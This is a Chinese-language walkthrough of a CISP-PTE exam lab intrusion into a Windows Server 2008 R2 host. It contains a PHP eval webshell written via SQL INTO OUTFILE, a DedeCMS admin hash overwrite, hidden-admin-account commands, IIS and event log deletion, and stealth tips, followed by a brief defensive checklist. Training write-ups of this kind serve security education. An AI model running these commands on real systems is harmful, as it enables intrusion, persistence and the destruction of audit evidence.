从CISP-PTE靶机实战看Win2008 R2渗透：手把手教你用BurpSuite、蚁剑拿Shell

CISP-PTE实战：Win2008 R2靶机渗透全流程深度解析

当面对一台Windows Server 2008 R2靶机时，许多初学者容易陷入工具堆砌的误区，而忽略了渗透测试中最关键的逻辑链条构建。本文将从一个真实的CISP-PTE考试场景出发，带你体验从信息收集到最终获取系统权限的完整技术闭环。

1. 靶机环境侦察与突破口定位

渗透测试的第一步永远是信息收集，这决定了后续所有攻击路径的有效性。使用nmap进行基础扫描时，我们发现了目标IP 10.10.10.18开放了80端口：

nmap -sV -T4 10.10.10.18

扫描结果显示这是一个运行着IIS 7.5的Windows Server 2008 R2系统。访问Web界面后，一个登录表单立即引起了我的注意——这往往是突破内网的第一道门户。

BurpSuite配置要点：

1. 浏览器代理设置为127.0.0.1:8080
2. 拦截登录请求后发现认证头采用Basic Auth
3. 认证字段是用户名密码的base64编码，格式为username:password

2. 认证破解与权限提升技巧

面对base64编码的认证字段，BurpSuite的Intruder模块展现出强大威力。以下是关键配置步骤：

成功获取admin:123456凭证后，系统暴露出DedeCMS后台。此时传统思路是尝试后台漏洞，但更聪明的做法是横向寻找数据库入口：

1. 使用御剑扫描器带cookie爆破目录
2. 发现/phpmyadmin管理界面
3. 尝试root:root弱口令成功登录

-- 在phpMyAdmin中提取管理员密码哈希 SELECT pwd FROM dede_admin WHERE userid='admin';

DedeCMS的密码存储有个特点：MD5值被截取了中间部分（去掉前5后7位）。通过在线解密发现原始密码是888888，我们可以将其替换为123456的对应哈希段：

UPDATE dede_admin SET pwd='c3949ba59abbe56e057f' WHERE userid='admin';

3. WebShell部署与系统权限获取

获得CMS后台权限后，我们需要建立持久化控制通道。通过数据库写文件是Windows环境下非常有效的方式：

-- 查询网站绝对路径 SELECT @@basedir; -- 写入一句话木马 SELECT "<?php eval($_POST['cmd']);?>" INTO OUTFILE "C:/phpStudy/WWW/images/shell.php"

蚁剑连接时的关键配置：

1. URL地址填写完整的shell路径
2. 连接密码与POST参数名对应（本例为cmd）
3. Headers中添加从浏览器复制的认证cookie
4. 编码器选择base64避免特殊字符问题

成功连接后，通过虚拟终端执行系统命令时发现一个常见障碍——3389端口未开启。这里分享一个实战技巧：直接上传预编译的enable_rdp.exe比执行bat脚本更隐蔽。

4. 后渗透阶段的关键操作

获取系统shell只是开始，真正的挑战在于如何维持访问并收集关键信息。以下是几个必做事项：

1. 权限维持：

   • 创建隐藏账户：net user backup$ P@ssw0rd /add
   • 加入管理员组：net localgroup administrators backup$ /add

2. 信息收集：

   # 获取系统补丁情况 wmic qfe list full # 查看网络配置 ipconfig /all

3. 痕迹清理：

   • 删除IIS日志：del C:\inetpub\logs\LogFiles\W3SVC1\*.log
   • 清除事件日志：wevtutil cl system

在真实的CISP-PTE考试环境中，这些操作都需要在不触发防护机制的前提下完成。比如修改注册表开启3389端口时，使用reg文件导入就比直接执行regedit更隐蔽。

5. 防御视角下的渗透思考

完成整个渗透流程后，我们需要从防御者角度反思每个突破点：

1. 认证环节：

   • 使用强密码策略
   • 部署登录失败锁定机制
   • 避免使用Basic Auth

2. 系统配置：

   • 修改phpMyAdmin默认路径
   • 禁用MySQL的file_priv权限
   • 限制Web目录执行权限

3. 监控措施：

   • 部署文件完整性监控
   • 记录异常SQL查询
   • 审计特权账户操作

这套方法论不仅适用于考试环境，在企业内网渗透测试中同样有效。记住，好的渗透测试员不是工具的使用者，而是安全逻辑的解构者。